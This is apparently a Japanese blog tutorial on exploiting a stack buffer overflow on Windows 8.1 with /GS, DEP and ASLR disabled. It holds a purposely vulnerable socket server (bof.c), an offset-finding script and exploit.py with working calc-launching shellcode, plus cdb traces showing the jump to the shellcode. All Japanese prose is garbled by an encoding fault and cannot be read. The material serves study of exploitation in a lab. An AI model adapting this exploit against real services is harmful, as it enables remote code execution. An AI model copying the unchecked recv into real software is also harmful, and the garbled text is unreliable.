Windowsã§å種ã»ãã¥ãªãã£æ©æ§ããªãã«ãã¦ãåç´ãªã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼ã«ããã·ã§ã«ã³ã¼ãå®è¡ããã£ã¦ã¿ãã
ç°å¢
Windows 8.1 Pro 64 bitçãVisual Studio Community 2013 with Update 4
>systeminfo OS å: Microsoft Windows 8.1 Pro OS ãã¼ã¸ã§ã³: 6.3.9600 N/A ãã«ã 9600 OS ãã«ãã®ç¨®é¡: Multiprocessor Free ã·ã¹ãã ã®ç¨®é¡: x64-based PC ããã»ããµ: 1 ããã»ããµã¤ã³ã¹ãã¼ã«æ¸ã¿ã§ãã [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86 >cdb -version cdb version 6.3.9600.17298
èå¼±æ§ã®ããããã°ã©ã ãæ¸ãã¦ã¿ã
ã¾ããã¹ã¿ãã¯ãããã¡ãªã¼ãã¼ããã¼èå¼±æ§ã®ããããã°ã©ã ã³ã¼ããæ¸ãã¦ã¿ãã ããã§ã¯TCPã®4444çªãã¼ããlistenãããã®ãã¼ãããã½ã±ããçµç±ã§å ¥åãåãä»ããããã«ããã
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
ä¸ã®ã³ã¼ãã§ã¯ãæ¨æºåºåã«bufå¤æ°ã®ã¢ãã¬ã¹ãåºåããããã«ãªã£ã¦ããã Winsockã®recvé¢æ°ã¯ãåä¿¡ãããµã¤ãºã確ä¿ãããããã¡ã®ãµã¤ãºãã極端ã«å¤§ããªå¤ã®å ´åWSAEFAULTï¼10014ï¼ã¨ã©ã¼ãè¿ããã¨ã«æ³¨æããã
ASLRãDEPãstack canaryï¼/GSï¼ãç¡å¹ã«ãã¦ã³ã³ãã¤ã«ããã ãªããWindowsã«ããã¦ASLRã¨ããç¨èªã¯ãã°ãã°Linuxã«ãããPIEç¸å½ã®æå³ã§ä½¿ãããããã§ãããã«å¾ããã¨ã¨ããã
>cl bof.c /GS- /link /nxcompat:no /dynamicbase:no
çæãããbof.exeãå®è¡ããå¾ ã¡åãã¦ãããã¼ãã«æ¥ç¶ããã¨æ¬¡ã®ããã«ãªãã
$ nc localhost 4444 foo
>bof.exe [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0
æ£å¸¸ã«å®è¡ã§ãã¦ãããã¨ã確èªã§ããã
ãããã¡ãããªã¿ã¼ã³ã¢ãã¬ã¹ã¾ã§ã®ãªãã»ããã調ã¹ã¦ã¿ã
ä¸ã®ããã°ã©ã ã«å¯¾ãã確ä¿ããããããã¡ãµã¤ãºããã大ããªãã¼ã¿ãéãè¾¼ã¿ããªã¿ã¼ã³ã¢ãã¬ã¹ãç½®ããã¦ãããªãã»ããã調ã¹ã¦ã¿ãã ããã§ã¯Cygwinã«ä»å±ããPythonãç¨ããããWindowsçãLANå ã«ããä»ã®Linuxä¸ã®Pythonãç¨ãã¦ãããã
# test.py import socket bufsize = 400 buf = 'A' * bufsize buf += 'aaaabbbbccccddddeeeeffff' c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
ãããã¬ã使ããããã°ã©ã ã®åä½ã確èªãã¦ã¿ãã
>cdb bof.exe (snip) (1664.1698): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=c0430000 edx=00000000 esi=7ffde000 edi=00000000 eip=778a3bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 778a3bed cc int 3 0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444
æ¥ç¶ãå¾ ã¡åãã¦ããç¶æ ã§ãã¹ã¯ãªãããå®è¡ãã¦ã¿ãã¨æ¬¡ã®ããã«ãªãã
$ python test.py
0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0 (1664.1698): Access violation - code c0000005 (first chance) First chance exceptions are reported before any exception handling. This exception may be expected and handled. eax=000001a8 ebx=00000000 ecx=ad168f2e edx=0018fb34 esi=004014b4 edi=004014b4 eip=62626262 esp=0018fd88 ebp=61616161 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00010246 62626262 ?? ??? 0:000> q quit:
ä¸ã®çµæãããsaved ebpã0x61616161ï¼aaaa
ï¼ããªã¿ã¼ã³ã¢ãã¬ã¹ã0x62626262ï¼bbbb
ï¼ã®ä½ç½®ã«å¯¾å¿ãããã¨ããããã
ã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¦ã¿ã
ããã¾ã§ã®çµæããã¨ã«ããªã¿ã¼ã³ã¢ãã¬ã¹ãã·ã§ã«ã³ã¼ããç½®ããã¦ããã¢ãã¬ã¹ã«æ¸ãæããã¨ã¯ã¹ããã¤ãã³ã¼ããæ¸ãã¨æ¬¡ã®ããã«ãªãã
# exploit.py import socket import struct addr_buf = 0x0018FBF0 bufsize = 400 # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = '\xFC\xEB\x65\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x89\x44\x24\x1C\x8B\x68\x10\x8B\x45\x3C\x8B\x54\x28\x78\x03\xD5\x8B\x4A\x18\x8B\x5A\x20\x03\xDD\xE3\x37\x49\x8B\x34\x8B\x03\xF5\x33\xFF\xAC\x84\xC0\x74\x07\xC1\xCF\x0D\x03\xF8\xEB\xF4\x3B\x7C\x24\x24\x75\xE4\x8B\x5A\x24\x03\xDD\x66\x8B\x0C\x4B\x8B\x5A\x1C\x03\xDD\x8B\x04\x8B\x03\xC5\x89\x44\x24\x1C\x61\x59\x5A\x51\xFF\xE0\x8B\x74\x24\x1C\xEB\xA8\x33\xC0\x50\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x84\xFF\xFF\xFF\x50\x68\x7E\xD8\xE2\x73\xE8\x79\xFF\xFF\xFF' buf = 'A' * bufsize buf += 'AAAA' # saved ebp buf += struct.pack('<I', addr_buf+bufsize+8) # retaddr -> shellcode below buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
ä¸ã®ã³ã¼ãã§ã¯ããWindowsã§é»åãèµ·åããã·ã§ã«ã³ã¼ããæ¸ãã¦ã¿ããã§ä½æããã·ã§ã«ã³ã¼ãã使ç¨ãã¦ããã
bof.exeãèµ·åããã¨ã¯ã¹ããã¤ãã³ã¼ããå®è¡ãã¦ã¿ãã
$ python exploit.py
ã·ã§ã«ã³ã¼ããå®è¡ãããé»åãèµ·åãããã¨ã確èªã§ããã
ãããã¬ã§åä½ã確èªãã¦ã¿ã
ãããã¬ã使ããã·ã§ã«ã³ã¼ããå®è¡ãããã¾ã§ã®æ§åã調ã¹ã¦ã¿ãã
ã¾ãããããã°æ
å ±ãæå¹ï¼/Zi
ï¼ã«ãã¦èå¼±æ§ã®ããããã°ã©ã ãå度ã³ã³ãã¤ã«ããã
>cl bof.c /Zi /GS- /link /nxcompat:no /dynamicbase:no
ãããã¬ã®ãã¨ã§ããã°ã©ã ãèµ·åããbofé¢æ°å ã®retå½ä»¤ã®ã¢ãã¬ã¹ã«ãã¬ã¼ã¯ãã¤ã³ããã»ããããå¾ãæ¥ç¶ãå¾ ã¡åãã¦ã¿ãã
>cdb bof.exe (snip) Executable search path is: ModLoad: 00400000 00430000 bof.exe ModLoad: 777f0000 7795e000 ntdll.dll (snip) (5b0.1174): Break instruction exception - code 80000003 (first chance) eax=00000000 ebx=00000000 ecx=5fd70000 edx=00000000 esi=7ffde000 edi=00000000 eip=778a3bed esp=0018faec ebp=0018fb18 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 ntdll!LdrpDoDebuggerBreak+0x2b: 778a3bed cc int 3 0:000> u bof!bof *** WARNING: Unable to verify checksum for bof.exe bof!bof: 00401020 55 push ebp 00401021 8bec mov ebp,esp 00401023 81ec90010000 sub esp,190h 00401029 8d8570feffff lea eax,[ebp-190h] 0040102f 50 push eax 00401030 6800b04200 push offset bof!__rtc_tzz <PERF> (bof+0x2b000) (0042 b000) 00401035 e81c020000 call bof!printf (00401256) 0040103a 83c408 add esp,8 0:000> u bof!bof+0x1d: 0040103d 6a00 push 0 0040103f 6800040000 push 400h 00401044 8d8d70feffff lea ecx,[ebp-190h] 0040104a 51 push ecx 0040104b 8b5508 mov edx,dword ptr [ebp+8] 0040104e 52 push edx 0040104f ff15a0f14200 call dword ptr [bof!_imp__recv (0042f1a0)] 00401055 8be5 mov esp,ebp 0:000> u bof!bof+0x37: 00401057 5d pop ebp 00401058 c3 ret 00401059 cc int 3 0040105a cc int 3 0040105b cc int 3 0040105c cc int 3 0040105d cc int 3 0040105e cc int 3 0:000> bp 00401058 0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444
次ã«ãã¨ã¯ã¹ããã¤ãã³ã¼ããå®è¡ãããã°ã©ã ã«æ¥ç¶ããã
$ python exploit.py
ã»ãããã¦ããããã¬ã¼ã¯ãã¤ã³ãã§åæ¢ãã¦ãããã¨ã確èªããã¹ã¿ãã¯ã®ç¶æ ã調ã¹ãå¾ã·ã§ã«ã³ã¼ãã«å®è¡ã移ã£ã¦ãããã¨ã確èªããã
0:000> g ModLoad: 74450000 7449b000 C:\WINDOWS\SysWOW64\mswsock.dll [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 0018FBF0 Breakpoint 0 hit eax=00000222 ebx=00000000 ecx=4ae97922 edx=0018fb34 esi=00401631 edi=00401631 eip=00401058 esp=0018fd84 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 bof!bof+0x38: 00401058 c3 ret 0:000> dc esp 0018fd84 0018fd88 6065ebfc 8b64c033 408b3040 ......e`3.d.@0.@ 0018fd94 14708b0c 244489ad 10688b1c 8b3c458b ..p...D$..h..E<. 0018fda4 03782854 184a8bd5 03205a8b 4937e3dd T(x...J..Z ...7I 0018fdb4 038b348b acff33f5 0774c084 030dcfc1 .4...3....t..... 0018fdc4 3bf4ebf8 7524247c 245a8be4 8b66dd03 ...;|$$u..Z$..f. 0018fdd4 5a8b4b0c 8bdd031c c5038b04 1c244489 .K.Z.........D$. 0018fde4 515a5961 748be0ff a8eb1c24 6850c033 aYZQ...t$...3.Ph 0018fdf4 636c6163 016ac48b fe986850 84e80e8a calc..j.Ph...... 0:000> u esp+4 0018fd88 fc cld 0018fd89 eb65 jmp 0018fdf0 0018fd8b 60 pushad 0018fd8c 33c0 xor eax,eax 0018fd8e 648b4030 mov eax,dword ptr fs:[eax+30h] 0018fd92 8b400c mov eax,dword ptr [eax+0Ch] 0018fd95 8b7014 mov esi,dword ptr [eax+14h] 0018fd98 ad lods dword ptr [esi] 0:000> p eax=00000222 ebx=00000000 ecx=4ae97922 edx=0018fb34 esi=00401631 edi=00401631 eip=0018fd88 esp=0018fd88 ebp=41414141 iopl=0 nv up ei pl zr na pe nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000246 0018fd88 fc cld 0:000> g Application "\??\C:\WINDOWS\SYSTEM32\calc.exe" found in cache eax=00000000 ebx=778ef820 ecx=0018f141 edx=0000003e esi=00000000 edi=00401631 eip=7782c73c esp=0018fc94 ebp=0018fd60 iopl=0 nv up ei pl nz na po nc cs=0023 ss=002b ds=002b es=002b fs=0053 gs=002b efl=00000202 ntdll!NtTerminateProcess+0xc: 7782c73c c20800 ret 8 0:000> q quit:
ããã§ãcld
ã¯ã·ã§ã«ã³ã¼ãã®æåã®å½ä»¤ã§ããã